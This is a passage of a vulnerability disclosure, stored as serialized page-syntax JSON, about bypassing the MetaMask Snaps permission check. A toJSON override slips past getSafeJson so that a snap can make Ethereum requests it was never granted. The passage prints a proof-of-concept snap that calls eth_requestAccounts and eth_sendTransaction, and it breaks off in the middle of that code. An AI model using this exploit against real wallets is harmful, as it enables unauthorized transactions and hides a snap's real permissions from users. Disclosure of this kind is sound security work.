};\n",[45406],{"type":24,"tag":284,"props":45407,"children":45408},{"__ignoreMap":7},[45409,45456,45481,45514,45549,45561,45581,45619,45639,45646,45663,45696,45703],{"type":24,"tag":327,"props":45410,"children":45411},{"class":329,"line":330},[45412,45416,45420,45424,45428,45432,45436,45440,45444,45448,45452],{"type":24,"tag":327,"props":45413,"children":45414},{"style":334},[45415],{"type":29,"value":42901},{"type":24,"tag":327,"props":45417,"children":45418},{"style":340},[45419],{"type":29,"value":38092},{"type":24,"tag":327,"props":45421,"children":45422},{"style":381},[45423],{"type":29,"value":4809},{"type":24,"tag":327,"props":45425,"children":45426},{"style":334},[45427],{"type":29,"value":43078},{"type":24,"tag":327,"props":45429,"children":45430},{"style":346},[45431],{"type":29,"value":5894},{"type":24,"tag":327,"props":45433,"children":45434},{"style":356},[45435],{"type":29,"value":44941},{"type":24,"tag":327,"props":45437,"children":45438},{"style":381},[45439],{"type":29,"value":1636},{"type":24,"tag":327,"props":45441,"children":45442},{"style":1639},[45443],{"type":29,"value":44950},{"type":24,"tag":327,"props":45445,"children":45446},{"style":346},[45447],{"type":29,"value":1674},{"type":24,"tag":327,"props":45449,"children":45450},{"style":334},[45451],{"type":29,"value":9195},{"type":24,"tag":327,"props":45453,"children":45454},{"style":346},[45455],{"type":29,"value":497},{"type":24,"tag":327,"props":45457,"children":45458},{"class":329,"line":367},[45459,45464,45468,45472,45476],{"type":24,"tag":327,"props":45460,"children":45461},{"style":340},[45462],{"type":29,"value":45463},"      assertSnapOutboundRequest",{"type":24,"tag":327,"props":45465,"children":45466},{"style":346},[45467],{"type":29,"value":349},{"type":24,"tag":327,"props":45469,"children":45470},{"style":356},[45471],{"type":29,"value":44941},{"type":24,"tag":327,"props":45473,"children":45474},{"style":346},[45475],{"type":29,"value":9829},{"type":24,"tag":327,"props":45477,"children":45478},{"style":551},[45479],{"type":29,"value":45480},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":327,"props":45482,"children":45483},{"class":329,"line":408},[45484,45488,45493,45497,45502,45506,45510],{"type":24,"tag":327,"props":45485,"children":45486},{"style":334},[45487],{"type":29,"value":38257},{"type":24,"tag":327,"props":45489,"children":45490},{"style":356},[45491],{"type":29,"value":45492}," sanitizedArgs",{"type":24,"tag":327,"props":45494,"children":45495},{"style":381},[45496],{"type":29,"value":4809},{"type":24,"tag":327,"props":45498,"children":45499},{"style":340},[45500],{"type":29,"value":45501}," getSafeJson",{"type":24,"tag":327,"props":45503,"children":45504},{"style":346},[45505],{"type":29,"value":349},{"type":24,"tag":327,"props":45507,"children":45508},{"style":356},[45509],{"type":29,"value":44941},{"type":24,"tag":327,"props":45511,"children":45512},{"style":346},[45513],{"type":29,"value":583},{"type":24,"tag":327,"props":45515,"children":45516},{"class":329,"line":421},[45517,45522,45526,45531,45535,45539,45544],{"type":24,"tag":327,"props":45518,"children":45519},{"style":334},[45520],{"type":29,"value":45521},"      this",{"type":24,"tag":327,"props":45523,"children":45524},{"style":346},[45525],{"type":29,"value":66},{"type":24,"tag":327,"props":45527,"children":45528},{"style":340},[45529],{"type":29,"value":45530},"notify",{"type":24,"tag":327,"props":45532,"children":45533},{"style":346},[45534],{"type":29,"value":38208},{"type":24,"tag":327,"props":45536,"children":45537},{"style":356},[45538],{"type":29,"value":38213},{"type":24,"tag":327,"props":45540,"children":45541},{"style":844},[45542],{"type":29,"value":45543}," 'OutboundRequest'",{"type":24,"tag":327,"props":45545,"children":45546},{"style":346},[45547],{"type":29,"value":45548}," });\n",{"type":24,"tag":327,"props":45550,"children":45551},{"class":329,"line":450},[45552,45557],{"type":24,"tag":327,"props":45553,"children":45554},{"style":425},[45555],{"type":29,"value":45556},"      try",{"type":24,"tag":327,"props":45558,"children":45559},{"style":346},[45560],{"type":29,"value":497},{"type":24,"tag":327,"props":45562,"children":45563},{"class":329,"line":481},[45564,45568,45572,45577],{"type":24,"tag":327,"props":45565,"children":45566},{"style":425},[45567],{"type":29,"value":4944},{"type":24,"tag":327,"props":45569,"children":45570},{"style":425},[45571],{"type":29,"value":42924},{"type":24,"tag":327,"props":45573,"children":45574},{"style":340},[45575],{"type":29,"value":45576}," withTeardown",{"type":24,"tag":327,"props":45578,"children":45579},{"style":346},[45580],{"type":29,"value":4663},{"type":24,"tag":327,"props":45582,"children":45583},{"class":329,"line":500},[45584,45589,45593,45598,45602,45607,45611,45615],{"type":24,"tag":327,"props":45585,"children":45586},{"style":340},[45587],{"type":29,"value":45588},"          originalRequest",{"type":24,"tag":327,"props":45590,"children":45591},{"style":346},[45592],{"type":29,"value":349},{"type":24,"tag":327,"props":45594,"children":45595},{"style":356},[45596],{"type":29,"value":45597},"sanitizedArgs",{"type":24,"tag":327,"props":45599,"children":45600},{"style":425},[45601],{"type":29,"value":2417},{"type":24,"tag":327,"props":45603,"children":45604},{"style":1639},[45605],{"type":29,"value":45606}," unknown",{"type":24,"tag":327,"props":45608,"children":45609},{"style":425},[45610],{"type":29,"value":2417},{"type":24,"tag":327,"props":45612,"children":45613},{"style":1639},[45614],{"type":29,"value":44950},{"type":24,"tag":327,"props":45616,"children":45617},{"style":346},[45618],{"type":29,"value":9212},{"type":24,"tag":327,"props":45620,"children":45621},{"class":329,"line":529},[45622,45627,45631,45635],{"type":24,"tag":327,"props":45623,"children":45624},{"style":334},[45625],{"type":29,"value":45626},"          this",{"type":24,"tag":327,"props":45628,"children":45629},{"style":425},[45630],{"type":29,"value":2417},{"type":24,"tag":327,"props":45632,"children":45633},{"style":1639},[45634],{"type":29,"value":17905},{"type":24,"tag":327,"props":45636,"children":45637},{"style":346},[45638],{"type":29,"value":2231},{"type":24,"tag":327,"props":45640,"children":45641},{"class":329,"line":538},[45642],{"type":24,"tag":327,"props":45643,"children":45644},{"style":346},[45645],{"type":29,"value":15306},{"type":24,"tag":327,"props":45647,"children":45648},{"class":329,"line":547},[45649,45654,45659],{"type":24,"tag":327,"props":45650,"children":45651},{"style":346},[45652],{"type":29,"value":45653},"      } ",{"type":24,"tag":327,"props":45655,"children":45656},{"style":425},[45657],{"type":29,"value":45658},"finally",{"type":24,"tag":327,"props":45660,"children":45661},{"style":346},[45662],{"type":29,"value":497},{"type":24,"tag":327,"props":45664,"children":45665},{"class":329,"line":557},[45666,45671,45675,45679,45683,45687,45692],{"type":24,"tag":327,"props":45667,"children":45668},{"style":334},[45669],{"type":29,"value":45670},"        this",{"type":24,"tag":327,"props":45672,"children":45673},{"style":346},[45674],{"type":29,"value":66},{"type":24,"tag":327,"props":45676,"children":45677},{"style":340},[45678],{"type":29,"value":45530},{"type":24,"tag":327,"props":45680,"children":45681},{"style":346},[45682],{"type":29,"value":38208},{"type":24,"tag":327,"props":45684,"children":45685},{"style":356},[45686],{"type":29,"value":38213},{"type":24,"tag":327,"props":45688,"children":45689},{"style":844},[45690],{"type":29,"value":45691}," 'OutboundResponse'",{"type":24,"tag":327,"props":45693,"children":45694},{"style":346},[45695],{"type":29,"value":45548},{"type":24,"tag":327,"props":45697,"children":45698},{"class":329,"line":586},[45699],{"type":24,"tag":327,"props":45700,"children":45701},{"style":346},[45702],{"type":29,"value":20208},{"type":24,"tag":327,"props":45704,"children":45705},{"class":329,"line":1017},[45706],{"type":24,"tag":327,"props":45707,"children":45708},{"style":346},[45709],{"type":29,"value":45710},"    };\n",{"type":24,"tag":25,"props":45712,"children":45713},{},[45714,45716,45721,45723,45728],{"type":29,"value":45715},"In particular, this function is from the ",{"type":24,"tag":284,"props":45717,"children":45719},{"className":45718},[],[45720],{"type":29,"value":44891},{"type":29,"value":45722}," provider, but the only thing that changes between this and ",{"type":24,"tag":284,"props":45724,"children":45726},{"className":45725},[],[45727],{"type":29,"value":38127},{"type":29,"value":45729}," is the assert function in the first line.",{"type":24,"tag":25,"props":45731,"children":45732},{},[45733],{"type":29,"value":45734},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":175,"props":45736,"children":45737},{},[45738,45750,45755],{"type":24,"tag":179,"props":45739,"children":45740},{},[45741,45743,45748],{"type":29,"value":45742},"Assert if ",{"type":24,"tag":284,"props":45744,"children":45746},{"className":45745},[],[45747],{"type":29,"value":44941},{"type":29,"value":45749}," are valid",{"type":24,"tag":179,"props":45751,"children":45752},{},[45753],{"type":29,"value":45754},"getSafeJson to get sanitizedArgs",{"type":24,"tag":179,"props":45756,"children":45757},{},[45758],{"type":29,"value":45759},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":45761,"children":45762},{},[45763,45765,45771],{"type":29,"value":45764},"Obs: ",{"type":24,"tag":284,"props":45766,"children":45768},{"className":45767},[],[45769],{"type":29,"value":45770},"originalRequest",{"type":29,"value":45772}," makes the RPC call to metamask service worker",{"type":24,"tag":235,"props":45774,"children":45776},{"id":45775},"safe-json-exploit",[45777],{"type":29,"value":45778},"Safe JSON Exploit",{"type":24,"tag":25,"props":45780,"children":45781},{},[45782,45784,45790,45792,45797,45799,45805],{"type":29,"value":45783},"As we dug further into the",{"type":24,"tag":284,"props":45785,"children":45787},{"className":45786},[],[45788],{"type":29,"value":45789},"getSafeJson",{"type":29,"value":45791}," function (defined in ",{"type":24,"tag":284,"props":45793,"children":45795},{"className":45794},[],[45796],{"type":29,"value":44009},{"type":29,"value":45798}," package) we discovered the following ",{"type":24,"tag":57,"props":45800,"children":45803},{"href":45801,"rel":45802},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[61],[45804],{"type":29,"value":284},{"type":29,"value":1636},{"type":24,"tag":317,"props":45807,"children":45809},{"className":42326,"code":45808,"language":42328,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[45810],{"type":24,"tag":284,"props":45811,"children":45812},{"__ignoreMap":7},[45813,45878,45905,45930,45985,45993,46040,46056,46063,46080,46087,46094],{"type":24,"tag":327,"props":45814,"children":45815},{"class":329,"line":330},[45816,45820,45825,45830,45834,45839,45843,45848,45852,45856,45861,45866,45870,45874],{"type":24,"tag":327,"props":45817,"children":45818},{"style":425},[45819],{"type":29,"value":44922},{"type":24,"tag":327,"props":45821,"children":45822},{"style":334},[45823],{"type":29,"value":45824}," const",{"type":24,"tag":327,"props":45826,"children":45827},{"style":356},[45828],{"type":29,"value":45829}," JsonStruct",{"type":24,"tag":327,"props":45831,"children":45832},{"style":381},[45833],{"type":29,"value":4809},{"type":24,"tag":327,"props":45835,"children":45836},{"style":340},[45837],{"type":29,"value":45838}," coerce",{"type":24,"tag":327,"props":45840,"children":45841},{"style":346},[45842],{"type":29,"value":349},{"type":24,"tag":327,"props":45844,"children":45845},{"style":356},[45846],{"type":29,"value":45847},"UnsafeJsonStruct",{"type":24,"tag":327,"props":45849,"children":45850},{"style":346},[45851],{"type":29,"value":2744},{"type":24,"tag":327,"props":45853,"children":45854},{"style":340},[45855],{"type":29,"value":24226},{"type":24,"tag":327,"props":45857,"children":45858},{"style":346},[45859],{"type":29,"value":45860},"(), (",{"type":24,"tag":327,"props":45862,"children":45863},{"style":356},[45864],{"type":29,"value":45865},"value",{"type":24,"tag":327,"props":45867,"children":45868},{"style":346},[45869],{"type":29,"value":1674},{"type":24,"tag":327,"props":45871,"children":45872},{"style":334},[45873],{"type":29,"value":9195},{"type":24,"tag":327,"props":45875,"children":45876},{"style":346},[45877],{"type":29,"value":497},{"type":24,"tag":327,"props":45879,"children":45880},{"class":329,"line":367},[45881,45885,45889,45893,45897,45901],{"type":24,"tag":327,"props":45882,"children":45883},{"style":340},[45884],{"type":29,"value":45273},{"type":24,"tag":327,"props":45886,"children":45887},{"style":346},[45888],{"type":29,"value":349},{"type":24,"tag":327,"props":45890,"children":45891},{"style":356},[45892],{"type":29,"value":45865},{"type":24,"tag":327,"props":45894,"children":45895},{"style":346},[45896],{"type":29,"value":2744},{"type":24,"tag":327,"props":45898,"children":45899},{"style":356},[45900],{"type":29,"value":45847},{"type":24,"tag":327,"props":45902,"children":45903},{"style":346},[45904],{"type":29,"value":583},{"type":24,"tag":327,"props":45906,"children":45907},{"class":329,"line":408},[45908,45913,45917,45921,45926],{"type":24,"tag":327,"props":45909,"children":45910},{"style":425},[45911],{"type":29,"value":45912},"  return",{"type":24,"tag":327,"props":45914,"children":45915},{"style":356},[45916],{"type":29,"value":44241},{"type":24,"tag":327,"props":45918,"children":45919},{"style":346},[45920],{"type":29,"value":66},{"type":24,"tag":327,"props":45922,"children":45923},{"style":340},[45924],{"type":29,"value":45925},"parse",{"type":24,"tag":327,"props":45927,"children":45928},{"style":346},[45929],{"type":29,"value":4663},{"type":24,"tag":327,"props":45931,"children":45932},{"class":329,"line":421},[45933,45938,45942,45947,45951,45955,45959,45964,45968,45973,45977,45981],{"type":24,"tag":327,"props":45934,"children":45935},{"style":356},[45936],{"type":29,"value":45937},"    JSON",{"type":24,"tag":327,"props":45939,"children":45940},{"style":346},[45941],{"type":29,"value":66},{"type":24,"tag":327,"props":45943,"children":45944},{"style":340},[45945],{"type":29,"value":45946},"stringify",{"type":24,"tag":327,"props":45948,"children":45949},{"style":346},[45950],{"type":29,"value":349},{"type":24,"tag":327,"props":45952,"children":45953},{"style":356},[45954],{"type":29,"value":45865},{"type":24,"tag":327,"props":45956,"children":45957},{"style":346},[45958],{"type":29,"value":16378},{"type":24,"tag":327,"props":45960,"children":45961},{"style":356},[45962],{"type":29,"value":45963},"propKey",{"type":24,"tag":327,"props":45965,"children":45966},{"style":346},[45967],{"type":29,"value":2744},{"type":24,"tag":327,"props":45969,"children":45970},{"style":356},[45971],{"type":29,"value":45972},"propValue",{"type":24,"tag":327,"props":45974,"children":45975},{"style":346},[45976],{"type":29,"value":1674},{"type":24,"tag":327,"props":45978,"children":45979},{"style":334},[45980],{"type":29,"value":9195},{"type":24,"tag":327,"props":45982,"children":45983},{"style":346},[45984],{"type":29,"value":497},{"type":24,"tag":327,"props":45986,"children":45987},{"class":329,"line":450},[45988],{"type":24,"tag":327,"props":45989,"children":45990},{"style":551},[45991],{"type":29,"value":45992},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":327,"props":45994,"children":45995},{"class":329,"line":481},[45996,46001,46005,46009,46013,46018,46022,46027,46031,46036],{"type":24,"tag":327,"props":45997,"children":45998},{"style":425},[45999],{"type":29,"value":46000},"      if",{"type":24,"tag":327,"props":46002,"children":46003},{"style":346},[46004],{"type":29,"value":5894},{"type":24,"tag":327,"props":46006,"children":46007},{"style":356},[46008],{"type":29,"value":45963},{"type":24,"tag":327,"props":46010,"children":46011},{"style":381},[46012],{"type":29,"value":38132},{"type":24,"tag":327,"props":46014,"children":46015},{"style":844},[46016],{"type":29,"value":46017}," '__proto__'",{"type":24,"tag":327,"props":46019,"children":46020},{"style":381},[46021],{"type":29,"value":5139},{"type":24,"tag":327,"props":46023,"children":46024},{"style":356},[46025],{"type":29,"value":46026}," propKey",{"type":24,"tag":327,"props":46028,"children":46029},{"style":381},[46030],{"type":29,"value":38132},{"type":24,"tag":327,"props":46032,"children":46033},{"style":844},[46034],{"type":29,"value":46035}," 'constructor'",{"type":24,"tag":327,"props":46037,"children":46038},{"style":346},[46039],{"type":29,"value":364},{"type":24,"tag":327,"props":46041,"children":46042},{"class":329,"line":500},[46043,46047,46052],{"type":24,"tag":327,"props":46044,"children":46045},{"style":425},[46046],{"type":29,"value":4944},{"type":24,"tag":327,"props":46048,"children":46049},{"style":334},[46050],{"type":29,"value":46051}," undefined",{"type":24,"tag":327,"props":46053,"children":46054},{"style":346},[46055],{"type":29,"value":405},{"type":24,"tag":327,"props":46057,"children":46058},{"class":329,"line":529},[46059],{"type":24,"tag":327,"props":46060,"children":46061},{"style":346},[46062],{"type":29,"value":20208},{"type":24,"tag":327,"props":46064,"children":46065},{"class":329,"line":538},[46066,46071,46076],{"type":24,"tag":327,"props":46067,"children":46068},{"style":425},[46069],{"type":29,"value":46070},"      return",{"type":24,"tag":327,"props":46072,"children":46073},{"style":356},[46074],{"type":29,"value":46075}," propValue",{"type":24,"tag":327,"props":46077,"children":46078},{"style":346},[46079],{"type":29,"value":405},{"type":24,"tag":327,"props":46081,"children":46082},{"class":329,"line":547},[46083],{"type":24,"tag":327,"props":46084,"children":46085},{"style":346},[46086],{"type":29,"value":45258},{"type":24,"tag":327,"props":46088,"children":46089},{"class":329,"line":557},[46090],{"type":24,"tag":327,"props":46091,"children":46092},{"style":346},[46093],{"type":29,"value":45125},{"type":24,"tag":327,"props":46095,"children":46096},{"class":329,"line":586},[46097],{"type":24,"tag":327,"props":46098,"children":46099},{"style":346},[46100],{"type":29,"value":42050},{"type":24,"tag":25,"props":46102,"children":46103},{},[46104,46106,46112,46114,46119,46121,46127,46129,46135],{"type":29,"value":46105},"The function performs a ",{"type":24,"tag":284,"props":46107,"children":46109},{"className":46108},[],[46110],{"type":29,"value":46111},"JSON.parse(JSON.stringify(value))",{"type":29,"value":46113}," in the argument sent to ",{"type":24,"tag":284,"props":46115,"children":46117},{"className":46116},[],[46118],{"type":29,"value":45789},{"type":29,"value":46120},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":284,"props":46122,"children":46124},{"className":46123},[],[46125],{"type":29,"value":46126},"toJSON",{"type":29,"value":46128}," function in a legit ",{"type":24,"tag":284,"props":46130,"children":46132},{"className":46131},[],[46133],{"type":29,"value":46134},"snap.request",{"type":29,"value":46136}," argument:",{"type":24,"tag":175,"props":46138,"children":46139},{},[46140,46145,46150],{"type":24,"tag":179,"props":46141,"children":46142},{},[46143],{"type":29,"value":46144},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":179,"props":46146,"children":46147},{},[46148],{"type":29,"value":46149},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":179,"props":46151,"children":46152},{},[46153],{"type":29,"value":46154},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":46156,"children":46157},{},[46158],{"type":29,"value":46159},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":175,"props":46161,"children":46162},{},[46163,46168],{"type":24,"tag":179,"props":46164,"children":46165},{},[46166],{"type":29,"value":46167},"forward blocked RPC methods",{"type":24,"tag":179,"props":46169,"children":46170},{},[46171,46173,46178,46180,46186,46188,46193],{"type":29,"value":46172},"Making requests in ",{"type":24,"tag":284,"props":46174,"children":46176},{"className":46175},[],[46177],{"type":29,"value":46134},{"type":29,"value":46179}," that were only supposed to be done within ",{"type":24,"tag":284,"props":46181,"children":46183},{"className":46182},[],[46184],{"type":29,"value":46185},"ethereum.request",{"type":29,"value":46187}," (with ",{"type":24,"tag":284,"props":46189,"children":46191},{"className":46190},[],[46192],{"type":29,"value":45362},{"type":29,"value":46194}," enabled).",{"type":24,"tag":25,"props":46196,"children":46197},{},[46198],{"type":29,"value":46199},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":235,"props":46201,"children":46202},{"id":13230},[46203],{"type":29,"value":13233},{"type":24,"tag":25,"props":46205,"children":46206},{},[46207],{"type":29,"value":46208},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":46210,"children":46211},{},[46212],{"type":24,"tag":11511,"props":46213,"children":46215},{"alt":7,"src":46214},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":235,"props":46217,"children":46219},{"id":46218},"proof-of-concept",[46220],{"type":29,"value":41541},{"type":24,"tag":25,"props":46222,"children":46223},{},[46224,46226,46231,46233,46238,46240,46246],{"type":29,"value":46225},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":284,"props":46227,"children":46229},{"className":46228},[],[46230],{"type":29,"value":45362},{"type":29,"value":46232}," permission, and used the ",{"type":24,"tag":284,"props":46234,"children":46236},{"className":46235},[],[46237],{"type":29,"value":44891},{"type":29,"value":46239}," interface to call ",{"type":24,"tag":284,"props":46241,"children":46243},{"className":46242},[],[46244],{"type":29,"value":46245},"eth_sendTransaction",{"type":29,"value":46247},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":317,"props":46249,"children":46251},{"className":42326,"code":46250,"language":42328,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[46252],{"type":24,"tag":284,"props":46253,"children":46254},{"__ignoreMap":7},[46255,46288,46295,46302,46319,46348,46355,46380,46387,46419,46430,46447,46460,46467,46474,46481,46513,46520,46527,46534,46550,46577,46584,46607,46614,46645,46656,46672,46684,46705,46720,46737,46745,46752,46759,46766,46797,46804,46811,46871,46878,46906,46923,46938,46954,46969,46981,47011,47018],{"type":24,"tag":327,"props":46256,"children":46257},{"class":329,"line":330},[46258,46262,46266,46271,46275,46279,46284],{"type":24,"tag":327,"props":46259,"children":46260},{"style":425},[46261],{"type":29,"value":812},{"type":24,"tag":327,"props":46263,"children":46264},{"style":346},[46265],{"type":29,"value":1940},{"type":24,"tag":327,"props":46267,"children":46268},{"style":356},[46269],{"type":29,"value":46270},"OnRpcRequestHandler",{"type":24,"tag":327,"props":46272,"children":46273},{"style":346},[46274],{"type":29,"value":42915},{"type":24,"tag":327,"props":46276,"children":46277},{"style":425},[46278],{"type":29,"value":802},{"type":24,"tag":327,"props":46280,"children":46281},{"style":844},[46282],{"type":29,"value":46283}," '@metamask/snaps-types'",{"type":24,"tag":327,"props":46285,"children":46286},{"style":346},[46287],{"type":29,"value":405},{"type":24,"tag":327,"props":46289,"children":46290},{"class":329,"line":367},[46291],{"type":24,"tag":327,"props":46292,"children":46293},{"emptyLinePlaceholder":16},[46294],{"type":29,"value":544},{"type":24,"tag":327,"props":46296,"children":46297},{"class":329,"line":408},[46298],{"type":24,"tag":327,"props":46299,"children":46300},{"emptyLinePlaceholder":16},[46301],{"type":29,"value":544},{"type":24,"tag":327,"props":46303,"children":46304},{"class":329,"line":421},[46305,46309,46314],{"type":24,"tag":327,"props":46306,"children":46307},{"style":334},[46308],{"type":29,"value":38087},{"type":24,"tag":327,"props":46310,"children":46311},{"style":340},[46312],{"type":29,"value":46313}," jsonExploit",{"type":24,"tag":327,"props":46315,"children":46316},{"style":346},[46317],{"type":29,"value":46318},"(){\n",{"type":24,"tag":327,"props":46320,"children":46321},{"class":329,"line":450},[46322,46326,46330,46334,46339,46343],{"type":24,"tag":327,"props":46323,"children":46324},{"style":334},[46325],{"type":29,"value":15417},{"type":24,"tag":327,"props":46327,"children":46328},{"style":356},[46329],{"type":29,"value":359},{"type":24,"tag":327,"props":46331,"children":46332},{"style":381},[46333],{"type":29,"value":4809},{"type":24,"tag":327,"props":46335,"children":46336},{"style":346},[46337],{"type":29,"value":46338}," [] ",{"type":24,"tag":327,"props":46340,"children":46341},{"style":425},[46342],{"type":29,"value":2479},{"type":24,"tag":327,"props":46344,"children":46345},{"style":1639},[46346],{"type":29,"value":46347}," any\n",{"type":24,"tag":327,"props":46349,"children":46350},{"class":329,"line":481},[46351],{"type":24,"tag":327,"props":46352,"children":46353},{"emptyLinePlaceholder":16},[46354],{"type":29,"value":544},{"type":24,"tag":327,"props":46356,"children":46357},{"class":329,"line":500},[46358,46363,46367,46371,46375],{"type":24,"tag":327,"props":46359,"children":46360},{"style":356},[46361],{"type":29,"value":46362},"  x",{"type":24,"tag":327,"props":46364,"children":46365},{"style":346},[46366],{"type":29,"value":66},{"type":24,"tag":327,"props":46368,"children":46369},{"style":356},[46370],{"type":29,"value":45026},{"type":24,"tag":327,"props":46372,"children":46373},{"style":381},[46374],{"type":29,"value":4809},{"type":24,"tag":327,"props":46376,"children":46377},{"style":844},[46378],{"type":29,"value":46379}," \"snap_dialog\"\n",{"type":24,"tag":327,"props":46381,"children":46382},{"class":329,"line":529},[46383],{"type":24,"tag":327,"props":46384,"children":46385},{"emptyLinePlaceholder":16},[46386],{"type":29,"value":544},{"type":24,"tag":327,"props":46388,"children":46389},{"class":329,"line":538},[46390,46394,46398,46402,46406,46411,46415],{"type":24,"tag":327,"props":46391,"children":46392},{"style":356},[46393],{"type":29,"value":46362},{"type":24,"tag":327,"props":46395,"children":46396},{"style":346},[46397],{"type":29,"value":66},{"type":24,"tag":327,"props":46399,"children":46400},{"style":340},[46401],{"type":29,"value":46126},{"type":24,"tag":327,"props":46403,"children":46404},{"style":381},[46405],{"type":29,"value":4809},{"type":24,"tag":327,"props":46407,"children":46408},{"style":346},[46409],{"type":29,"value":46410}," () ",{"type":24,"tag":327,"props":46412,"children":46413},{"style":334},[46414],{"type":29,"value":9195},{"type":24,"tag":327,"props":46416,"children":46417},{"style":346},[46418],{"type":29,"value":497},{"type":24,"tag":327,"props":46420,"children":46421},{"class":329,"line":547},[46422,46426],{"type":24,"tag":327,"props":46423,"children":46424},{"style":425},[46425],{"type":29,"value":6023},{"type":24,"tag":327,"props":46427,"children":46428},{"style":346},[46429],{"type":29,"value":497},{"type":24,"tag":327,"props":46431,"children":46432},{"class":329,"line":557},[46433,46438,46443],{"type":24,"tag":327,"props":46434,"children":46435},{"style":356},[46436],{"type":29,"value":46437},"      method:",{"type":24,"tag":327,"props":46439,"children":46440},{"style":844},[46441],{"type":29,"value":46442}," \"eth_requestAccounts\"",{"type":24,"tag":327,"props":46444,"children":46445},{"style":346},[46446],{"type":29,"value":2231},{"type":24,"tag":327,"props":46448,"children":46449},{"class":329,"line":586},[46450,46455],{"type":24,"tag":327,"props":46451,"children":46452},{"style":356},[46453],{"type":29,"value":46454},"      params:",{"type":24,"tag":327,"props":46456,"children":46457},{"style":346},[46458],{"type":29,"value":46459}," []\n",{"type":24,"tag":327,"props":46461,"children":46462},{"class":329,"line":1017},[46463],{"type":24,"tag":327,"props":46464,"children":46465},{"style":346},[46466],{"type":29,"value":535},{"type":24,"tag":327,"props":46468,"children":46469},{"class":329,"line":1026},[46470],{"type":24,"tag":327,"props":46471,"children":46472},{"style":346},[46473],{"type":29,"value":13439},{"type":24,"tag":327,"props":46475,"children":46476},{"class":329,"line":1048},[46477],{"type":24,"tag":327,"props":46478,"children":46479},{"emptyLinePlaceholder":16},[46480],{"type":29,"value":544},{"type":24,"tag":327,"props":46482,"children":46483},{"class":329,"line":1067},[46484,46488,46493,46497,46501,46505,46509],{"type":24,"tag":327,"props":46485,"children":46486},{"style":425},[46487],{"type":29,"value":45912},{"type":24,"tag":327,"props":46489,"children":46490},{"style":356},[46491],{"type":29,"value":46492}," snap",{"type":24,"tag":327,"props":46494,"children":46495},{"style":346},[46496],{"type":29,"value":66},{"type":24,"tag":327,"props":46498,"children":46499},{"style":340},[46500],{"type":29,"value":38203},{"type":24,"tag":327,"props":46502,"children":46503},{"style":346},[46504],{"type":29,"value":349},{"type":24,"tag":327,"props":46506,"children":46507},{"style":356},[46508],{"type":29,"value":603},{"type":24,"tag":327,"props":46510,"children":46511},{"style":346},[46512],{"type":29,"value":852},{"type":24,"tag":327,"props":46514,"children":46515},{"class":329,"line":1075},[46516],{"type":24,"tag":327,"props":46517,"children":46518},{"emptyLinePlaceholder":16},[46519],{"type":29,"value":544},{"type":24,"tag":327,"props":46521,"children":46522},{"class":329,"line":1084},[46523],{"type":24,"tag":327,"props":46524,"children":46525},{"style":346},[46526],{"type":29,"value":592},{"type":24,"tag":327,"props":46528,"children":46529},{"class":329,"line":1100},[46530],{"type":24,"tag":327,"props":46531,"children":46532},{"emptyLinePlaceholder":16},[46533],{"type":29,"value":544},{"type":24,"tag":327,"props":46535,"children":46536},{"class":329,"line":1128},[46537,46541,46546],{"type":24,"tag":327,"props":46538,"children":46539},{"style":334},[46540],{"type":29,"value":38087},{"type":24,"tag":327,"props":46542,"children":46543},{"style":340},[46544],{"type":29,"value":46545}," 